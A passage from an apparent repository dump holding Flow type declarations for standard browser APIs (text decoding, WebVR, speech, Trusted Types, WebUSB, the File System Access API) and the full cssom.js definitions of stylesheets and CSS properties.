'iso88595'\n  | 'iso88596'\n  | 'iso88597'\n  | 'iso88598'\n  | 'iso88599'\n  | 'koi'\n  | 'koi8_r'\n  | 'koi8-r'\n  | 'koi8-u'\n  | 'koi8'\n  | 'korean'\n  | 'ks_c_5601-1987'\n  | 'ks_c_5601-1989'\n  | 'ksc_5601'\n  | 'ksc5601'\n  | 'l1'\n  | 'l2'\n  | 'l3'\n  | 'l4'\n  | 'l5'\n  | 'l6'\n  | 'l9'\n  | 'latin1'\n  | 'latin2'\n  | 'latin3'\n  | 'latin4'\n  | 'latin5'\n  | 'latin6'\n  | 'latin9'\n  | 'logical'\n  | 'mac'\n  | 'macintosh'\n  | 'ms_kanji'\n  | 'shift_jis'\n  | 'shift-jis'\n  | 'sjis'\n  | 'sun_eu_greek'\n  | 'tis-620'\n  | 'unicode-1-1-utf-8'\n  | 'us-ascii'\n  | 'utf-16'\n  | 'utf-16be'\n  | 'utf-16le'\n  | 'utf-8'\n  | 'utf8'\n  | 'visual'\n  | 'windows-1250'\n  | 'windows-1251'\n  | 'windows-1252'\n  | 'windows-1253'\n  | 'windows-1254'\n  | 'windows-1255'\n  | 'windows-1256'\n  | 'windows-1257'\n  | 'windows-1258'\n  | 'windows-31j'\n  | 'windows-874'\n  | 'windows-949'\n  | 'x-cp1250'\n  | 'x-cp1251'\n  | 'x-cp1252'\n  | 'x-cp1253'\n  | 'x-cp1254'\n  | 'x-cp1255'\n  | 'x-cp1256'\n  | 'x-cp1257'\n  | 'x-cp1258'\n  | 'x-euc-jp'\n  | 'x-gbk'\n  | 'x-mac-cyrillic'\n  | 'x-mac-roman'\n  | 'x-mac-ukrainian'\n  | 'x-sjis'\n  | 'x-user-defined'\n  | 'x-x-big5';\n\ndeclare class TextDecoder {\n  constructor(\n    encoding?: TextDecoder$availableEncodings,\n    options?: {fatal: boolean, ...}\n  ): void;\n  encoding: TextDecoder$availableEncodings;\n  fatal: boolean;\n  ignoreBOM: boolean;\n  decode(\n    buffer?: ArrayBuffer | $ArrayBufferView,\n    options?: {stream: boolean, ...}\n  ): string;\n}\n\ndeclare class TextDecoderStream {\n  constructor(\n    encoding?: TextDecoder$availableEncodings,\n    options?: {fatal?: boolean, ignoreBOM?: boolean, ...}\n  ): void;\n  encoding: TextDecoder$availableEncodings;\n  fatal: boolean;\n  ignoreBOM: boolean;\n  readable: ReadableStream;\n  writable: WritableStream;\n}\n\ndeclare class MessagePort extends EventTarget {\n  postMessage(message: any, transfer?: Iterable<any>): void;\n  start(): void;\n  close(): void;\n\n  onmessage: null | ((ev: MessageEvent<>) => mixed);\n  onmessageerror: null | ((ev: MessageEvent<>) => mixed);\n}\n\ndeclare class MessageChannel {\n  port1: MessagePort;\n  port2: MessagePort;\n}\n\ndeclare class VRDisplay extends EventTarget {\n  capabilities: VRDisplayCapabilities;\n  depthFar: number;\n  depthNear: number;\n  displayId: number;\n  displayName: string;\n  isPresenting: boolean;\n  stageParameters: null | VRStageParameters;\n\n  cancelAnimationFrame(number): void;\n  exitPresent(): Promise<void>;\n  getEyeParameters(VREye): VREyeParameters;\n  getFrameData(VRFrameData): boolean;\n  getLayers(): VRLayerInit[];\n  requestAnimationFrame(cb: (number) => mixed): number;\n  requestPresent(VRLayerInit[]): Promise<void>;\n  submitFrame(): void;\n}\n\ntype VRSource = HTMLCanvasElement;\n\ntype VRLayerInit = {\n  leftBounds?: number[],\n  rightBounds?: number[],\n  source?: null | VRSource,\n  ...\n};\n\ntype VRDisplayCapabilities = {\n  canPresent: boolean,\n  hasExternalDisplay: boolean,\n  hasPosition: boolean,\n  maxLayers: number,\n  ...\n};\n\ntype VREye = 'left' | 'right';\n\ntype VRPose = {\n  angularAcceleration?: Float32Array,\n  angularVelocity?: Float32Array,\n  linearAcceleration?: Float32Array,\n  linearVelocity?: Float32Array,\n  orientation?: Float32Array,\n  position?: Float32Array,\n  ...\n};\n\ndeclare class VRFrameData {\n  leftProjectionMatrix: Float32Array;\n  leftViewMatrix: Float32Array;\n  pose: VRPose;\n  rightProjectionMatrix: Float32Array;\n  rightViewMatrix: Float32Array;\n  timestamp: number;\n}\n\ntype VREyeParameters = {\n  offset: Float32Array,\n  renderWidth: number,\n  renderHeight: number,\n  ...\n};\n\ntype VRStageParameters = {\n  sittingToStandingTransform: Float32Array,\n  sizeX: number,\n  sizeZ: number,\n  ...\n};\n\ntype VRDisplayEventReason =\n  | 'mounted'\n  | 'navigation'\n  | 'requested'\n  | 'unmounted';\n\ntype VRDisplayEventInit = {\n  display: VRDisplay,\n  reason: VRDisplayEventReason,\n  ...\n};\n\ndeclare class VRDisplayEvent extends Event {\n  constructor(type: string, eventInitDict: VRDisplayEventInit): void;\n  display: VRDisplay;\n  reason?: VRDisplayEventReason;\n}\n\ndeclare class MediaQueryListEvent {\n  matches: boolean;\n  media: string;\n}\n\ndeclare type MediaQueryListListener = (MediaQueryListEvent) => void;\n\ndeclare class MediaQueryList extends EventTarget {\n  matches: boolean;\n  media: string;\n  addListener: MediaQueryListListener => void;\n  removeListener: MediaQueryListListener => void;\n  onchange: MediaQueryListListener;\n}\n\ndeclare var matchMedia: string => MediaQueryList;\n\n// https://w3c.github.io/webappsec-credential-management/#idl-index\ndeclare type CredMgmtCredentialRequestOptions = {\n  mediation?: 'silent' | 'optional' | 'required',\n  signal?: AbortSignal,\n  ...\n};\n\ndeclare type CredMgmtCredentialCreationOptions = {signal: AbortSignal, ...};\n\ndeclare interface CredMgmtCredential {\n  id: string;\n  type: string;\n}\n\ndeclare interface CredMgmtPasswordCredential extends CredMgmtCredential {\n  password: string;\n}\n\ndeclare interface CredMgmtCredentialsContainer {\n  get(option?: CredMgmtCredentialRequestOptions): Promise<?CredMgmtCredential>;\n  store(credential: CredMgmtCredential): Promise<CredMgmtCredential>;\n  create(\n    creationOption?: CredMgmtCredentialCreationOptions\n  ): Promise<?CredMgmtCredential>;\n  preventSilentAccess(): Promise<void>;\n}\n\ntype SpeechSynthesisErrorCode =\n  | 'canceled'\n  | 'interrupted'\n  | 'audio-busy'\n  | 'audio-hardware'\n  | 'network'\n  | 'synthesis-unavailable'\n  | 'synthesis-failed'\n  | 'language-unavailable'\n  | 'voice-unavailable'\n  | 'text-too-long'\n  | 'invalid-argument'\n  | 'not-allowed';\n\ndeclare class SpeechSynthesis extends EventTarget {\n  +pending: boolean;\n  +speaking: boolean;\n  +paused: boolean;\n\n  onvoiceschanged: ?(ev: Event) => mixed;\n\n  speak(utterance: SpeechSynthesisUtterance): void;\n  cancel(): void;\n  pause(): void;\n  resume(): void;\n  getVoices(): Array<SpeechSynthesisVoice>;\n}\n\ndeclare var speechSynthesis: SpeechSynthesis;\n\ndeclare class SpeechSynthesisUtterance extends EventTarget {\n  constructor(text?: string): void;\n\n  text: string;\n  lang: string;\n  voice: SpeechSynthesisVoice | null;\n  volume: number;\n  rate: number;\n  pitch: number;\n\n  onstart: ?(ev: SpeechSynthesisEvent) => mixed;\n  onend: ?(ev: SpeechSynthesisEvent) => mixed;\n  onerror: ?(ev: SpeechSynthesisErrorEvent) => mixed;\n  onpause: ?(ev: SpeechSynthesisEvent) => mixed;\n  onresume: ?(ev: SpeechSynthesisEvent) => mixed;\n  onmark: ?(ev: SpeechSynthesisEvent) => mixed;\n  onboundary: ?(ev: SpeechSynthesisEvent) => mixed;\n}\n\ntype SpeechSynthesisEvent$Init = Event$Init & {\n  utterance: SpeechSynthesisUtterance,\n  charIndex?: number,\n  charLength?: number,\n  elapsedTime?: number,\n  name?: string,\n  ...\n};\n\ndeclare class SpeechSynthesisEvent extends Event {\n  constructor(type: string, eventInitDict?: SpeechSynthesisEvent$Init): void;\n\n  +utterance: SpeechSynthesisUtterance;\n  charIndex: number;\n  charLength: number;\n  elapsedTime: number;\n  name: string;\n}\n\ntype SpeechSynthesisErrorEvent$Init = SpeechSynthesisEvent$Init & {\n  error: SpeechSynthesisErrorCode,\n  ...\n};\n\ndeclare class SpeechSynthesisErrorEvent extends SpeechSynthesisEvent {\n  constructor(\n    type: string,\n    eventInitDict?: SpeechSynthesisErrorEvent$Init\n  ): void;\n  +error: SpeechSynthesisErrorCode;\n}\n\ndeclare class SpeechSynthesisVoice {\n  +voiceURI: string;\n  +name: string;\n  +lang: string;\n  +localService: boolean;\n  +default: boolean;\n}\n\ntype SpeechRecognitionErrorCode =\n  | 'no-speech'\n  | 'aborted'\n  | 'audio-capture'\n  | 'not-allowed'\n  | 'service-not-allowed'\n  | 'bad-grammar'\n  | 'language-not-supported';\n\ndeclare class SpeechGrammar {\n  constructor(): void;\n\n  src: string;\n  weight?: number;\n}\n\ndeclare class SpeechGrammarList {\n  +length: number;\n\n  item(index: number): SpeechGrammar;\n  addFromURI(src: string, weight?: number): void;\n  addFromString(string: string, weight?: number): void;\n}\n\ndeclare class SpeechRecognitionAlternative {\n  +transcript: string;\n  +confidence: number;\n}\n\ndeclare class SpeechRecognitionResult {\n  +isFinal: boolean;\n  +length: number;\n\n  item(index: number): SpeechRecognitionAlternative;\n}\n\ndeclare class SpeechRecognitionResultList {\n  +length: number;\n\n  item(index: number): SpeechRecognitionResult;\n}\n\ntype SpeechRecognitionEvent$Init = Event$Init & {\n  emma: any,\n  interpretation: any,\n  resultIndex: number,\n  results: SpeechRecognitionResultList,\n  ...\n};\n\ndeclare class SpeechRecognitionEvent extends Event {\n  constructor(type: string, eventInitDict?: SpeechRecognitionEvent$Init): void;\n\n  +emma: any;\n  +interpretation: any;\n  +resultIndex: number;\n  +results: SpeechRecognitionResultList;\n}\n\ntype SpeechRecognitionErrorEvent$Init = SpeechRecognitionEvent$Init & {\n  error: SpeechRecognitionErrorCode,\n  ...\n};\n\ndeclare class SpeechRecognitionErrorEvent extends SpeechRecognitionEvent {\n  constructor(\n    type: string,\n    eventInitDict?: SpeechRecognitionErrorEvent$Init\n  ): void;\n  +error: SpeechRecognitionErrorCode;\n  +message: string;\n}\n\ndeclare class SpeechRecognition extends EventTarget {\n  constructor(): void;\n\n  +grammars: SpeechGrammar[];\n  +lang: string;\n  +continuous: boolean;\n  +interimResults: boolean;\n  +maxAlternatives: number;\n  +serviceURI: string;\n\n  onaudiostart: ?(ev: Event) => mixed;\n  onaudioend: ?(ev: Event) => mixed;\n  onend: ?(ev: Event) => mixed;\n  onerror: ?(ev: Event) => mixed;\n  onnomatch: ?(ev: Event) => mixed;\n  onsoundstart: ?(ev: Event) => mixed;\n  onsoundend: ?(ev: Event) => mixed;\n  onspeechstart: ?(ev: Event) => mixed;\n  onspeechend: ?(ev: Event) => mixed;\n  onstart: ?(ev: Event) => mixed;\n\n  abort(): void;\n  start(): void;\n  stop(): void;\n}\n\n/* Trusted Types\n * https://w3c.github.io/trusted-types/dist/spec/#trusted-types\n */\ndeclare class TrustedHTML {\n  toString(): string;\n  toJSON(): string;\n}\n\ndeclare class TrustedScript {\n  toString(): string;\n  toJSON(): string;\n}\n\ndeclare class TrustedScriptURL {\n  toString(): string;\n  toJSON(): string;\n}\n\ndeclare class TrustedTypePolicy {\n  +name: string;\n  createHTML(input: string, ...args: Array<mixed>): TrustedHTML;\n  createScript(input: string, ...args: Array<mixed>): TrustedScript;\n  createScriptURL(input: string, ...args: Array<mixed>): TrustedScriptURL;\n}\n\ndeclare type TrustedTypePolicyOptions = {|\n  createHTML?: (string, ...args: Array<mixed>) => string,\n  createScript?: (string, ...args: Array<mixed>) => string,\n  createScriptURL?: (string, ...args: Array<mixed>) => string,\n|};\n\n// window.trustedTypes?: TrustedTypePolicyFactory\ndeclare class TrustedTypePolicyFactory {\n  +emptyHTML: TrustedHTML;\n  +emptyScript: TrustedScript;\n  +defaultPolicy: ?TrustedTypePolicy;\n  +isHTML: (value: mixed) => value is TrustedHTML;\n  +isScript: (value: mixed) => value is TrustedScript;\n  +isScriptURL: (value: mixed) => value is TrustedScriptURL;\n  createPolicy(\n    policyName: string,\n    policyOptions?: TrustedTypePolicyOptions\n  ): TrustedTypePolicy;\n  getAttributeType(\n    tagName: string,\n    attribute?: string,\n    elementNS?: string,\n    attrNS?: string\n  ): null | string;\n  getPropertyType(\n    tagName: string,\n    property: string,\n    elementNS?: string\n  ): null | string;\n}\n\n// https://wicg.github.io/webusb/\n// https://developer.mozilla.org/en-US/docs/Web/API/USBDevice\ndeclare class USBDevice {\n  configuration: USBConfiguration;\n  configurations: Array<USBConfiguration>;\n  deviceClass: number;\n  deviceProtocol: number;\n  deviceSubclass: number;\n  deviceVersionMajor: number;\n  deviceVersionMinor: number;\n  deviceVersionSubminor: number;\n  manufacturerName: ?string;\n  opened: boolean;\n  productId: number;\n  productName: ?string;\n  serialNumber: ?string;\n  usbVersionMajor: number;\n  usbVersionMinor: number;\n  usbVersionSubminor: number;\n  vendorId: number;\n  claimInterface(interfaceNumber: number): Promise<void>;\n  clearHalt(direction: 'in' | 'out', endpointNumber: number): Promise<void>;\n  close(): Promise<void>;\n  controlTransferIn(\n    setup: SetUpOptions,\n    length: number\n  ): Promise<USBInTransferResult>;\n  controlTransferOut(\n    setup: SetUpOptions,\n    data: ArrayBuffer\n  ): Promise<USBOutTransferResult>;\n  forget(): Promise<void>;\n  isochronousTransferIn(\n    endpointNumber: number,\n    packetLengths: Array<number>\n  ): Promise<USBIsochronousInTransferResult>;\n  isochronousTransferOut(\n    endpointNumber: number,\n    data: ArrayBuffer,\n    packetLengths: Array<number>\n  ): Promise<USBIsochronousOutTransferResult>;\n  open(): Promise<void>;\n  releaseInterface(interfaceNumber: number): Promise<void>;\n  reset(): Promise<void>;\n  selectAlternateInterface(\n    interfaceNumber: number,\n    alternateSetting: number\n  ): Promise<void>;\n  selectConfiguration(configurationValue: number): Promise<void>;\n  transferIn(\n    endpointNumber: number,\n    length: number\n  ): Promise<USBInTransferResult>;\n  transferOut(\n    endpointNumber: number,\n    data: ArrayBuffer\n  ): Promise<USBOutTransferResult>;\n}\n\ndeclare class USB extends EventTarget {\n  getDevices(): Promise<Array<USBDevice>>;\n  requestDevice(options: USBDeviceRequestOptions): Promise<USBDevice>;\n}\n\ndeclare type USBDeviceFilter = {|\n  vendorId?: number,\n  productId?: number,\n  classCode?: number,\n  subclassCode?: number,\n  protocolCode?: number,\n  serialNumber?: string,\n|};\n\ndeclare type USBDeviceRequestOptions = {|\n  filters: Array<USBDeviceFilter>,\n  exclusionFilters?: Array<USBDeviceFilter>,\n|};\n\ndeclare class USBConfiguration {\n  constructor(): void;\n  configurationName: ?string;\n  configurationValue: number;\n  interfaces: $ReadOnlyArray<USBInterface>;\n}\n\ndeclare class USBInterface {\n  constructor(): void;\n  interfaceNumber: number;\n  alternate: USBAlternateInterface;\n  alternates: Array<USBAlternateInterface>;\n  claimed: boolean;\n}\n\ndeclare class USBAlternateInterface {\n  constructor(): void;\n  alternateSetting: number;\n  interfaceClass: number;\n  interfaceSubclass: number;\n  interfaceProtocol: number;\n  interfaceName: ?string;\n  endpoints: Array<USBEndpoint>;\n}\n\ndeclare class USBEndpoint {\n  constructor(): void;\n  endpointNumber: number;\n  direction: 'in' | 'out';\n  type: 'bulk' | 'interrupt' | 'isochronous';\n  packetSize: number;\n}\n\ndeclare class USBOutTransferResult {\n  constructor(): void;\n  bytesWritten: number;\n  status: 'ok' | 'stall';\n}\n\ndeclare class USBInTransferResult {\n  constructor(): void;\n  data: DataView;\n  status: 'ok' | 'stall' | 'babble';\n}\n\ndeclare class USBIsochronousInTransferResult {\n  constructor(): void;\n  data: DataView;\n  packets: Array<USBIsochronousInTransferPacket>;\n}\n\ndeclare class USBIsochronousInTransferPacket {\n  constructor(): void;\n  data: DataView;\n  status: 'ok' | 'stall' | 'babble';\n}\n\ndeclare class USBIsochronousOutTransferResult {\n  constructor(): void;\n  packets: Array<USBIsochronousOutTransferPacket>;\n}\n\ndeclare class USBIsochronousOutTransferPacket {\n  constructor(): void;\n  bytesWritten: number;\n  status: 'ok' | 'stall';\n}\n\ntype SetUpOptions = {\n  requestType: string,\n  recipient: string,\n  request: number,\n  value: number,\n  index: number,\n  ...\n};\n\ndeclare type FileSystemHandleKind = 'file' | 'directory';\n\n// https://wicg.github.io/file-system-access/#api-filesystemhandle\ndeclare class FileSystemHandle {\n  +kind: FileSystemHandleKind;\n  +name: string;\n\n  isSameEntry: (other: FileSystemHandle) => Promise<boolean>;\n  queryPermission?: (\n    descriptor: FileSystemHandlePermissionDescriptor\n  ) => Promise<PermissionStatus>;\n  requestPermission?: (\n    descriptor: FileSystemHandlePermissionDescriptor\n  ) => Promise<PermissionStatus>;\n}\n\n// https://fs.spec.whatwg.org/#api-filesystemfilehandle\ndeclare class FileSystemFileHandle extends FileSystemHandle {\n  +kind: 'file';\n\n  constructor(name: string): void;\n\n  getFile(): Promise<File>;\n  createSyncAccessHandle(): Promise<FileSystemSyncAccessHandle>;\n  createWritable(options?: {|\n    keepExistingData?: boolean,\n  |}): Promise<FileSystemWritableFileStream>;\n}\n\n// https://fs.spec.whatwg.org/#api-filesystemdirectoryhandle\ndeclare class FileSystemDirectoryHandle extends FileSystemHandle {\n  +kind: 'directory';\n\n  constructor(name: string): void;\n\n  getDirectoryHandle(\n    name: string,\n    options?: {|create?: boolean|}\n  ): Promise<FileSystemDirectoryHandle>;\n  getFileHandle(\n    name: string,\n    options?: {|create?: boolean|}\n  ): Promise<FileSystemFileHandle>;\n  removeEntry(name: string, options?: {|recursive?: boolean|}): Promise<void>;\n  resolve(possibleDescendant: FileSystemHandle): Promise<Array<string> | null>;\n\n  // Async iterator functions\n  @@asyncIterator(): AsyncIterator<[string, FileSystemHandle]>;\n  entries(): AsyncIterator<[string, FileSystemHandle]>;\n  keys(): AsyncIterator<string>;\n  values(): AsyncIterator<FileSystemHandle>;\n}\n\n// https://fs.spec.whatwg.org/#api-filesystemsyncaccesshandle\ndeclare class FileSystemSyncAccessHandle {\n  close(): void;\n  flush(): void;\n  getSize(): number;\n  read(buffer: ArrayBuffer, options?: {|at: number|}): number;\n  truncate(newSize: number): void;\n  write(buffer: ArrayBuffer, options?: {|at: number|}): number;\n}\n\n// https://streams.spec.whatwg.org/#default-writer-class\ndeclare class WritableStreamDefaultWriter {\n  +closed: Promise<void>;\n  +desiredSize: number;\n  +ready: Promise<void>;\n\n  constructor(): void;\n\n  abort(reason?: string): Promise<void>;\n  close(): Promise<void>;\n  releaseLock(): void;\n  write(chunk: any): Promise<void>;\n}\n\n// https://streams.spec.whatwg.org/#ws-class\ndeclare class WriteableStream {\n  +locked: boolean;\n\n  constructor(): void;\n\n  abort(reason: string): Promise<string>;\n  close(): Promise<void>;\n  getWriter(): WritableStreamDefaultWriter;\n}\n\n// https://fs.spec.whatwg.org/#dictdef-writeparams\ndeclare type FileSystemWriteableFileStreamDataTypes =\n  | ArrayBuffer\n  | $TypedArray\n  | DataView\n  | Blob\n  | string;\n\n// https://fs.spec.whatwg.org/#dictdef-writeparams\ndeclare type FileSystemWriteableFileStreamData =\n  | FileSystemWriteableFileStreamDataTypes\n  | {|\n      type: 'write',\n      position?: number,\n      data: FileSystemWriteableFileStreamDataTypes,\n    |}\n  | {|\n      type: 'seek',\n      position: number,\n      data: FileSystemWriteableFileStreamDataTypes,\n    |}\n  | {|\n      type: 'size',\n      size: number,\n    |};\n\n// https://fs.spec.whatwg.org/#api-filesystemwritablefilestream\ndeclare class FileSystemWritableFileStream extends WriteableStream {\n  write(data: FileSystemWriteableFileStreamData): Promise<void>;\n  truncate(size: number): Promise<void>;\n  seek(position: number): Promise<void>;\n}\n"
  },
  {
    "path": "flow-typed/environments/cssom.js",
    "content": "// flow-typed signature: ad7b684aa8897ecb82bcc3e009b9fc30\n// flow-typed version: 3e51657e95/cssom/flow_>=v0.261.x\n\ndeclare class StyleSheet {\n  disabled: boolean;\n  +href: string;\n  +media: MediaList;\n  +ownerNode: Node;\n  +parentStyleSheet: ?StyleSheet;\n  +title: string;\n  +type: string;\n}\n\ndeclare class StyleSheetList {\n  @@iterator(): Iterator<StyleSheet>;\n  length: number;\n  [index: number]: StyleSheet;\n}\n\ndeclare class MediaList {\n  @@iterator(): Iterator<string>;\n  mediaText: string;\n  length: number;\n  item(index: number): ?string;\n  deleteMedium(oldMedium: string): void;\n  appendMedium(newMedium: string): void;\n  [index: number]: string;\n}\n\ndeclare class CSSStyleSheet extends StyleSheet {\n  +cssRules: CSSRuleList;\n  +ownerRule: ?CSSRule;\n  deleteRule(index: number): void;\n  insertRule(rule: string, index: number): number;\n  replace(text: string): Promise<CSSStyleSheet>;\n  replaceSync(text: string): void;\n}\n\ndeclare class CSSGroupingRule extends CSSRule {\n  +cssRules: CSSRuleList;\n  deleteRule(index: number): void;\n  insertRule(rule: string, index: number): number;\n}\n\ndeclare class CSSConditionRule extends CSSGroupingRule {\n  conditionText: string;\n}\n\ndeclare class CSSMediaRule extends CSSConditionRule {\n  +media: MediaList;\n}\n\ndeclare class CSSStyleRule extends CSSRule {\n  selectorText: string;\n  +style: CSSStyleDeclaration;\n}\n\ndeclare class CSSSupportsRule extends CSSConditionRule {}\n\ndeclare class CSSRule {\n  cssText: string;\n  +parentRule: ?CSSRule;\n  +parentStyleSheet: ?CSSStyleSheet;\n  +type: number;\n  static STYLE_RULE: number;\n  static MEDIA_RULE: number;\n  static FONT_FACE_RULE: number;\n  static PAGE_RULE: number;\n  static IMPORT_RULE: number;\n  static CHARSET_RULE: number;\n  static UNKNOWN_RULE: number;\n  static KEYFRAMES_RULE: number;\n  static KEYFRAME_RULE: number;\n  static NAMESPACE_RULE: number;\n  static COUNTER_STYLE_RULE: number;\n  static SUPPORTS_RULE: number;\n  static DOCUMENT_RULE: number;\n  static FONT_FEATURE_VALUES_RULE: number;\n  static VIEWPORT_RULE: number;\n  static REGION_STYLE_RULE: number;\n}\n\ndeclare class CSSKeyframeRule extends CSSRule {\n  keyText: string;\n  +style: CSSStyleDeclaration;\n}\n\ndeclare class CSSKeyframesRule extends CSSRule {\n  name: string;\n  +cssRules: CSSRuleList;\n  appendRule(rule: string): void;\n  deleteRule(select: string): void;\n  findRule(select: string): CSSKeyframeRule | null;\n}\n\ndeclare class CSSRuleList {\n  @@iterator(): Iterator<CSSRule>;\n  length: number;\n  item(index: number): ?CSSRule;\n  [index: number]: CSSRule;\n}\n\ndeclare class CSSStyleDeclaration {\n  @@iterator(): Iterator<string>;\n  /* DOM CSS Properties */\n  alignContent: string;\n  alignItems: string;\n  alignSelf: string;\n  all: string;\n  animation: string;\n  animationDelay: string;\n  animationDirection: string;\n  animationDuration: string;\n  animationFillMode: string;\n  animationIterationCount: string;\n  animationName: string;\n  animationPlayState: string;\n  animationTimingFunction: string;\n  backdropFilter: string;\n  webkitBackdropFilter: string;\n  backfaceVisibility: string;\n  background: string;\n  backgroundAttachment: string;\n  backgroundBlendMode: string;\n  backgroundClip: string;\n  backgroundColor: string;\n  backgroundImage: string;\n  backgroundOrigin: string;\n  backgroundPosition: string;\n  backgroundPositionX: string;\n  backgroundPositionY: string;\n  backgroundRepeat: string;\n  backgroundSize: string;\n  blockSize: string;\n  border: string;\n  borderBlockEnd: string;\n  borderBlockEndColor: string;\n  borderBlockEndStyle: string;\n  borderBlockEndWidth: string;\n  borderBlockStart: string;\n  borderBlockStartColor: string;\n  borderBlockStartStyle: string;\n  borderBlockStartWidth: string;\n  borderBottom: string;\n  borderBottomColor: string;\n  borderBottomLeftRadius: string;\n  borderBottomRightRadius: string;\n  borderBottomStyle: string;\n  borderBottomWidth: string;\n  borderCollapse: string;\n  borderColor: string;\n  borderImage: string;\n  borderImageOutset: string;\n  borderImageRepeat: string;\n  borderImageSlice: string;\n  borderImageSource: string;\n  borderImageWidth: string;\n  borderInlineEnd: string;\n  borderInlineEndColor: string;\n  borderInlineEndStyle: string;\n  borderInlineEndWidth: string;\n  borderInlineStart: string;\n  borderInlineStartColor: string;\n  borderInlineStartStyle: string;\n  borderInlineStartWidth: string;\n  borderLeft: string;\n  borderLeftColor: string;\n  borderLeftStyle: string;\n  borderLeftWidth: string;\n  borderRadius: string;\n  borderRight: string;\n  borderRightColor: string;\n  borderRightStyle: string;\n  borderRightWidth: string;\n  borderSpacing: string;\n  borderStyle: string;\n  borderTop: string;\n  borderTopColor: string;\n  borderTopLeftRadius: string;\n  borderTopRightRadius: string;\n  borderTopStyle: string;\n  borderTopWidth: string;\n  borderWidth: string;\n  bottom: string;\n  boxDecorationBreak: string;\n  boxShadow: string;\n  boxSizing: string;\n  breakAfter: string;\n  breakBefore: string;\n  breakInside: string;\n  captionSide: string;\n  clear: string;\n  clip: string;\n  clipPath: string;\n  color: string;\n  columns: string;\n  columnCount: string;\n  columnFill: string;\n  columnGap: string;\n  columnRule: string;\n  columnRuleColor: string;\n  columnRuleStyle: string;\n  columnRuleWidth: string;\n  columnSpan: string;\n  columnWidth: string;\n  contain: string;\n  content: string;\n  counterIncrement: string;\n  counterReset: string;\n  cursor: string;\n  direction: string;\n  display: string;\n  emptyCells: string;\n  filter: string;\n  flex: string;\n  flexBasis: string;\n  flexDirection: string;\n  flexFlow: string;\n  flexGrow: string;\n  flexShrink: string;\n  flexWrap: string;\n  float: string;\n  font: string;\n  fontFamily: string;\n  fontFeatureSettings: string;\n  fontKerning: string;\n  fontLanguageOverride: string;\n  fontSize: string;\n  fontSizeAdjust: string;\n  fontStretch: string;\n  fontStyle: string;\n  fontSynthesis: string;\n  fontVariant: string;\n  fontVariantAlternates: string;\n  fontVariantCaps: string;\n  fontVariantEastAsian: string;\n  fontVariantLigatures: string;\n  fontVariantNumeric: string;\n  fontVariantPosition: string;\n  fontWeight: string;\n  grad: string;\n  grid: string;\n  gridArea: string;\n  gridAutoColumns: string;\n  gridAutoFlow: string;\n  gridAutoPosition: string;\n  gridAutoRows: string;\n  gridColumn: string;\n  gridColumnStart: string;\n  gridColumnEnd: string;\n  gridRow: string;\n  gridRowStart: string;\n  gridRowEnd: string;\n  gridTemplate: string;\n  gridTemplateAreas: string;\n  gridTemplateRows: string;\n  gridTemplateColumns: string;\n  height: string;\n  hyphens: string;\n  imageRendering: string;\n  imageResolution: string;\n  imageOrientation: string;\n  imeMode: string;\n  inherit: string;\n  initial: string;\n  inlineSize: string;\n  isolation: string;\n  justifyContent: string;\n  left: string;\n  letterSpacing: string;\n  lineBreak: string;\n  lineHeight: string;\n  listStyle: string;\n  listStyleImage: string;\n  listStylePosition: string;\n  listStyleType: string;\n  margin: string;\n  marginBlockEnd: string;\n  marginBlockStart: string;\n  marginBottom: string;\n  marginInlineEnd: string;\n  marginInlineStart: string;\n  marginLeft: string;\n  marginRight: string;\n  marginTop: string;\n  marks: string;\n  mask: string;\n  maskType: string;\n  maxBlockSize: string;\n  maxHeight: string;\n  maxInlineSize: string;\n  maxWidth: string;\n  minBlockSize: string;\n  minHeight: string;\n  minInlineSize: string;\n  minWidth: string;\n  mixBlendMode: string;\n  mozTransform: string;\n  mozTransformOrigin: string;\n  mozTransitionDelay: string;\n  mozTransitionDuration: string;\n  mozTransitionProperty: string;\n  mozTransitionTimingFunction: string;\n  objectFit: string;\n  objectPosition: string;\n  offsetBlockEnd: string;\n  offsetBlockStart: string;\n  offsetInlineEnd: string;\n  offsetInlineStart: string;\n  opacity: string;\n  order: string;\n  orphans: string;\n  outline: string;\n  outlineColor: string;\n  outlineOffset: string;\n  outlineStyle: string;\n  outlineWidth: string;\n  overflow: string;\n  overflowWrap: string;\n  overflowX: string;\n  overflowY: string;\n  padding: string;\n  paddingBlockEnd: string;\n  paddingBlockStart: string;\n  paddingBottom: string;\n  paddingInlineEnd: string;\n  paddingInlineStart: string;\n  paddingLeft: string;\n  paddingRight: string;\n  paddingTop: string;\n  pageBreakAfter: string;\n  pageBreakBefore: string;\n  pageBreakInside: string;\n  perspective: string;\n  perspectiveOrigin: string;\n  pointerEvents: string;\n  position: string;\n  quotes: string;\n  rad: string;\n  resize: string;\n  right: string;\n  rubyAlign: string;\n  rubyMerge: string;\n  rubyPosition: string;\n  scrollBehavior: string;\n  scrollSnapCoordinate: string;\n  scrollSnapDestination: string;\n  scrollSnapPointsX: string;\n  scrollSnapPointsY: string;\n  scrollSnapType: string;\n  shapeImageThreshold: string;\n  shapeMargin: string;\n  shapeOutside: string;\n  tableLayout: string;\n  tabSize: string;\n  textAlign: string;\n  textAlignLast: string;\n  textCombineUpright: string;\n  textDecoration: string;\n  textDecorationColor: string;\n  textDecorationLine: string;\n  textDecorationStyle: string;\n  textIndent: string;\n  textOrientation: string;\n  textOverflow: string;\n  textRendering: string;\n  textShadow: string;\n  textTransform: string;\n  textUnderlinePosition: string;\n  top: string;\n  touchAction: string;\n  transform: string;\n  transformOrigin: string;\n  transformStyle: string;\n  transition: string;\n  transitionDelay: string;\n  transitionDuration: string;\n  transitionProperty: string;\n  transitionTimingFunction: string;\n  turn: string;\n  unicodeBidi: string;\n  unicodeRange: string;\n  userSelect: string;\n  verticalAlign: string;\n  visibility: string;\n  webkitOverflowScrolling: string;\n  webkitTransform: string;\n  webkitTransformOrigin: string;\n  webkitTransitionDelay: string;\n  webkitTransitionDuration: string;\n  webkitTransitionProperty: string;\n  webkitTransitionTimingFunction: string;\n  whiteSpace: string;\n  widows: string;\n  width: string;\n  willChange: string;\n  wordBreak: string;\n  wordSpacing: string;\n  wordWrap: string;\n  writingMode: string;\n  zIndex: string;\n\n  cssFloat: string;\n  cssText: string;\n  getPropertyPriority(property: string): string;\n  getPropertyValue(property: string): string;\n  item(index: number): string;\n  [index: number]: string;\n  length: number;\n  parentRule: CSSRule;\n  removeProperty(property: string): string;\n  setProperty(property: string, value: ?string, priority: ?string): void;\n  setPropertyPriority(property: string, priority: string): void;\n}\n"
  },
  {
    "path": "flow-typed/environments/dom.js",
